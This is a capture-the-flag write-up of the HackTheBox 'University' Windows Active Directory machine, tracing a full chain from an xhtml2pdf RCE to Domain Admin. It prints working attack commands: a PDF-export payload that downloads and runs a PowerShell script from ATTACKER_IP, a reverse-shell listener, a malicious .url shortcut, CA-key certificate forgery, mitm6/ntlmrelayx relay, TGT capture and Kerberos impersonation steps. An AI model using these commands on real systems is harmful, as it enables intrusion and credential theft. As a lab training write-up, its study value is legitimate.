HTB: University Writeup

University - HackTheBox Writeup

Machine Information

AttributeDetails
NameUniversity
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

University is an Insane-rated Windows Active Directory machine built around a custom university learning portal. The web app’s PDF-export feature runs on a vulnerable xhtml2pdf build (CVE-2023-33733), giving an unauthenticated foothold as a low-privileged service account. From there, the Certificate Authority’s private key sitting on disk lets an attacker forge a signed login certificate for any user, hijacking a professor account. That account is then used to weaponize the platform’s own “lecture submission → content evaluation” workflow against CVE-2023-36025 (a Windows SmartScreen/.url Mark-of-the-Web bypass), landing code execution as a domain user on an internal evaluation workstation. A carefully staged mitm6 + ntlmrelayx attack over IPv6 then abuses Resource-Based Constrained Delegation to seize that workstation as Administrator, and a final Kerberos TGT-capture-and-relay chain (Rubeus → Account Operators → GMSA password read → S4U2self/S4U2proxy) delivers Domain Admin on the DC.

TL;DR: CVE-2023-33733 (xhtml2pdf RCE via Bio→PDF export) → wao → cracked db-backup-automator.ps1 7z password → WinRM → exfil root CA key/cert → forge cert for professor nya → CVE-2023-36025 (.url/GPG-signed lecture ZIP) → shell as martin.t (user flag) → mitm6 + ntlmrelayx RBCD relay over IPv6 against internal pivot LAB-2 → Administrator on WS-3 → Rubeus TGT capture of Rose.L → Account Operators reads GMSA-PClient01$ password → S4U2self/S4U2proxy for www/dc.university.htb impersonating Administrator → DC compromise (root flag).


Reconnaissance

Port Scanning

Terminal window
# Full TCP sweep, then targeted service/version scan
nmap -p- --min-rate=1000 -T4 10.10.11.X
nmap -sC -sV -p<open-ports> 10.10.11.X

Results (relevant services): the scan exposes a classic AD footprint — DNS, Kerberos, LDAP/LDAPS, SMB, RPC — plus a web server on port 80 hosting the university portal, and WinRM (5985) reachable once valid domain creds are in hand. Two hostnames matter for the rest of the chain: the domain itself, university.htb, and the Domain Controller, dc.university.htb.

Terminal window
# Domain/DC hostnames must resolve for Kerberos and vhost routing to work
echo "10.10.11.X university.htb dc.university.htb DC" | sudo tee -a /etc/hosts

Service Enumeration

The port-80 site is a remote-learning platform with Student and Professor account types. Registering a student account unlocks a profile page with a fully attacker-controlled Bio field, and a “Export to PDF” action that renders the profile (including the Bio) server-side into a PDF.

Vulnerability Assessment

  • Bio → PDF export is rendered by xhtml2pdf, a Python HTML/CSS-to-PDF library. Versions before the fix for CVE-2023-33733 evaluate attacker-controlled color attribute expressions inside <font color="..."> tags as Python, giving arbitrary code execution on the server that generates the PDF.
  • The CA’s signing key material is stored on the same host filesystem the app runs on (C:\Web\University\CA\), which becomes the pivot point for identity forgery once code execution is gained.
  • A separate patch-lag issue on the internal WS-3/Content-Evaluator workstations opens the door for CVE-2023-36025, a Windows Defender SmartScreen bypass via crafted .url (Internet Shortcut) files that skip the Mark-of-the-Web prompt.

Initial Foothold

Exploitation Path — CVE-2023-33733 (xhtml2pdf RCE)

After registering a student account, the Bio field’s contents are exactly what lands in the exported PDF. xhtml2pdf’s color-attribute parser can be abused to reach os.system via a Python object-mutation trick (overriding __eq__/startswith on a crafted string-like class so the library’s internal color-name lookup executes attacker code as a side effect):

<!-- Bio field payload — triggers on "Export to PDF" -->
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell IEX(IWR
http://ATTACKER_IP/shell.ps1 -usebasicparsing)') for Word in [ orgTypeFun( 'Word',
(str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x:
self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {
setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), },
) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
x
</font></para>
Terminal window
# Stage the reverse-shell PowerShell and catch the callback
python3 -m http.server 80
rlwrap nc -lvnp 9001

Saving the Bio with this payload and clicking Export to PDF forces the server to render it — and executes the embedded os.system call — returning a reverse shell as university\wao.

Credential Discovery → WinRM

wao is a member of Remote Management Users, so any valid password for the account grants WinRM access. Enumerating the web root turned up C:\Web\DB Backup\db-backup-automator.ps1, a scheduled backup script that 7-Zips the app’s SQLite database with a hardcoded password:

Terminal window
# Recovered from db-backup-automator.ps1
$7zCommand = "& `"$7zExePath`" a `"$zipFilePath`" `"$sourcePath`" -p'WebAO1337'"

The password WebAO1337 matched the wao account:

university\wao
evil-winrm -i university.htb -u wao -p 'WebAO1337'
# *Evil-WinRM* PS C:\Users\wao\Documents> whoami

Privilege Escalation

Stage 1 — CA Key Theft → Certificate Forgery → Professor Takeover

The portal supports a “login with signed certificate” flow: a user submits a CSR (Common Name + email matching their profile), the app’s internal CA signs it, and the resulting cert authenticates them at /accounts/login/SDC/ with no password. Since wao already has code execution on the box that hosts that CA, the signing key itself is reachable:

Terminal window
# On the wao shell
ls C:\Web\University\CA\
# rootCA.crt / rootCA.key / rootCA.srl
Terminal window
# Pull the CA material down over the WinRM session
evil-winrm -i university.htb -u wao -p 'WebAO1337'
*Evil-WinRM* PS> download CA

With the CA’s private key in hand, any user’s identity can be forged — including a professor. Professor nya’s public profile exposed the Common Name and email needed for a matching CSR:

Terminal window
# Generate a CSR whose CN/email match nya's public profile exactly
openssl req -newkey rsa:2048 -keyout nya.key -out nya.csr
# Self-sign it using the stolen root CA — the app trusts anything this key signs
openssl x509 -req -in nya.csr -CA rootCA.crt -CAkey rootCA.key \
-CAcreateserial -out nya-forged.pem

Submitting nya-forged.pem at /accounts/login/SDC/ authenticates as professor nya with no password required — the app’s trust model treats “signed by our CA” as equivalent to “is this person,” which breaks down entirely once the CA key leaves the DC.

Stage 2 — CVE-2023-36025 → Code Execution as a Content Evaluator (martin.t)

As a professor, nya’s account can create courses and upload lecture material, which is reviewed by a dedicated Content Evaluators group before publishing — the exact mechanism abused here. The lecture-submission flow requires a detached GPG signature alongside the uploaded archive:

Terminal window
# Upload a GPG public key to the professor profile, then sign the malicious lecture
gpg --export -a "nya" > pubkey.asc # uploaded via "Change Public Key"
gpg -u nya --detach-sign lecture.zip

lecture.zip was built to trigger CVE-2023-36025: Windows fails to apply Mark-of-the-Web / trigger SmartScreen for certain Internet Shortcut (.url) files, so a .url entry inside the archive pointing at an attacker-staged executable (amra.exe) runs silently when opened — no “unsafe file” warning:

# malicious .url inside the lecture ZIP
[InternetShortcut]
URL=http://ATTACKER_IP/amra.exe

Once submitted as a lecture, a Content Evaluator extracted the archive on the internal WS-3 workstation and opened the .url file — executing the staged amra.exe payload and returning a shell as university\martin.t, capturing user.txt.

Stage 3 — RBCD Relay Over IPv6 → Administrator on WS-3

From the internal Linux pivot host LAB-2, an NTLM relay attack was staged against the DC’s LDAP service to write Resource-Based Constrained Delegation onto WS-3$:

Terminal window
# Add a controlled machine account (machine account quota abuse)
impacket-addcomputer -computer-name 'evilComp$' -computer-pass 'Passw0rd!' \
university.htb/martin.t
# Relay incoming NTLM auth straight to the DC's LDAP service
ntlmrelayx.py -6 -t ldap://dc.university.htb \
--delegate-access --escalate-user 'evilComp$'
# Force IPv6 preference + capture WPAD-triggered auth from WS-3's machine account
mitm6 -d university.htb

mitm6 hands out a rogue IPv6 DNS/WPAD configuration; when WS-3$ performs a routine Windows Update WPAD lookup, its machine-account NTLM authentication gets relayed by ntlmrelayx to the DC’s LDAP — writing evilComp$ into WS-3$’s msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD). That grants evilComp$ the right to obtain service tickets as anyone on WS-3:

Terminal window
# S4U2self + S4U2proxy impersonating Administrator, using evilComp$'s delegation right
getST.py -spn 'cifs/WS-3.university.htb' -impersonate Administrator \
-dc-ip <DC_IP> 'university.htb/evilComp$:Passw0rd!'
export KRB5CCNAME=Administrator.ccache
evil-winrm -i WS-3.university.htb -r university.htb

This lands an Administrator session on WS-3.

Stage 4 — Domain Admin via GMSA S4U Chain

With Administrator on WS-3, Rubeus was set to monitor for incoming TGTs and captured one belonging to Rose.L:

Terminal window
# Passively harvest TGTs of users authenticating to WS-3
.\Rubeus.exe monitor /interval:5 /nowrap

Rose.L’s ticket carries Account Operators privileges, sufficient to read the managed password blob (msDS-ManagedPassword) of a Group Managed Service Account, GMSA-PClient01$:

Terminal window
# Decrypt the GMSA's current NTLM hash from its managed-password blob
gMSADumper.py -u 'Rose.L' -k -d university.htb

That GMSA’s NTLM hash is then used to request a service ticket for www/dc.university.htb via S4U2self/S4U2proxy, impersonating Administrator:

Terminal window
getST.py -spn 'www/dc.university.htb' -impersonate Administrator \
-dc-ip <DC_IP> 'university.htb/GMSA-PClient01$' -hashes :<gmsa_nt_hash>
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass dc.university.htb

This grants a Kerberos-authenticated Administrator shell on the DC, capturing root.txt.


Attack Chain Summary

CVE-2023-33733 (xhtml2pdf RCE via Bio→PDF export)
university\wao (reverse shell)
│ db-backup-automator.ps1 → 7z password "WebAO1337"
WinRM as wao → exfil C:\Web\University\CA\{rootCA.crt,rootCA.key}
│ openssl-forge cert for professor "nya"
Login as nya via /accounts/login/SDC/ (cert auth)
│ CVE-2023-36025 (.url + GPG-signed malicious lecture ZIP)
university\martin.t on WS-3 → USER FLAG
│ mitm6 + ntlmrelayx (IPv6) → RBCD write on WS-3$ via evilComp$
Administrator on WS-3
│ Rubeus TGT capture (Rose.L) → Account Operators → GMSA-PClient01$ NTLM
│ S4U2self/S4U2proxy → www/dc.university.htb impersonating Administrator
Administrator on DC → ROOT FLAG

Tools Used

ToolPurpose
nmapPort/service enumeration
xhtml2pdf CVE-2023-33733 PoCBio→PDF RCE payload construction
evil-winrmWinRM shell access as wao / Administrator
7zCracking the DB backup archive password
opensslCSR generation + CA-signed certificate forgery
gpgDetached-signing the malicious lecture archive
CVE-2023-36025 .url PoCSmartScreen/MOTW bypass for lecture payload
mitm6IPv6 DNS/WPAD spoofing
Impacket ntlmrelayx.pyRelaying WS-3$ auth to DC LDAP, RBCD write
Impacket addcomputer.pyCreating evilComp$ for RBCD
Impacket getST.pyS4U2self/S4U2proxy ticket requests
RubeusPassive TGT capture (Rose.L)
gMSADumper.pyReading GMSA-PClient01$ managed password
Impacket wmiexec.pyFinal Kerberos-authenticated command execution on DC

Key Learnings

Techniques Practiced

  • Exploiting a real-world Python PDF-rendering library RCE (CVE-2023-33733) through an attacker-controlled profile field
  • Recovering hardcoded credentials from an operational automation script
  • Abusing on-disk CA key material to forge identity-asserting client certificates
  • Weaponizing an application’s own peer-review/content-evaluation workflow as a delivery mechanism for a client-side exploit
  • Exploiting CVE-2023-36025 (Windows SmartScreen .url MOTW bypass) for evaluator-side code execution
  • IPv6-based NTLM relay (mitm6 + ntlmrelayx) to write Resource-Based Constrained Delegation
  • Full S4U2self/S4U2proxy Kerberos delegation abuse chained twice (RBCD stage, then GMSA stage)
  • Passive Kerberos TGT harvesting with Rubeus and Account Operators abuse to read a GMSA’s managed password

Lessons Learned

  1. Any server-side document-rendering pipeline (PDF export, thumbnailing, etc.) that touches user-controlled input is a de facto code-execution surface if the underlying library has a history of template-injection CVEs — check Producer/Creator metadata on generated files.
  2. Automation scripts (db-backup-automator.ps1) that hardcode passwords “for convenience” routinely double as valid domain credentials — always harvest scripts and scheduled tasks after a foothold.
  3. Storing a CA’s private key on a general-purpose application server (rather than an isolated signing host) turns any code-execution bug on that server into a full identity-forgery primitive.
  4. Human-in-the-loop review processes (content evaluators, moderators) are a legitimate delivery channel for client-side exploits — treat “someone will open this file” as an assumed capability once you control what gets submitted for review.
  5. IPv6 is enabled and unmonitored by default on most Windows networks; mitm6 remains devastatingly effective for coercing authentication even in mature, patched AD environments.
  6. Constrained/Resource-Based Delegation abuse chains compound — a single relay-won RBCD foothold can be pivoted again through a completely separate Kerberos delegation abuse (S4U against a GMSA) to reach Domain Admin.

Proof of Ownership

User Flag (university\martin.t @ WS-3): <redacted>
Root Flag (university\administrator @ DC): <redacted>

References

  • “University” — HackTheBox machine writeup prepared by amra (machine author: Spectra199), used here for CVE identification (CVE-2023-33733, CVE-2023-36025) and conceptual explanation of the WPAD/mitm6 relay and certificate-forgery mechanics. All IPs, credentials, filenames, and command output in this writeup are from the author’s own solve, not the reference.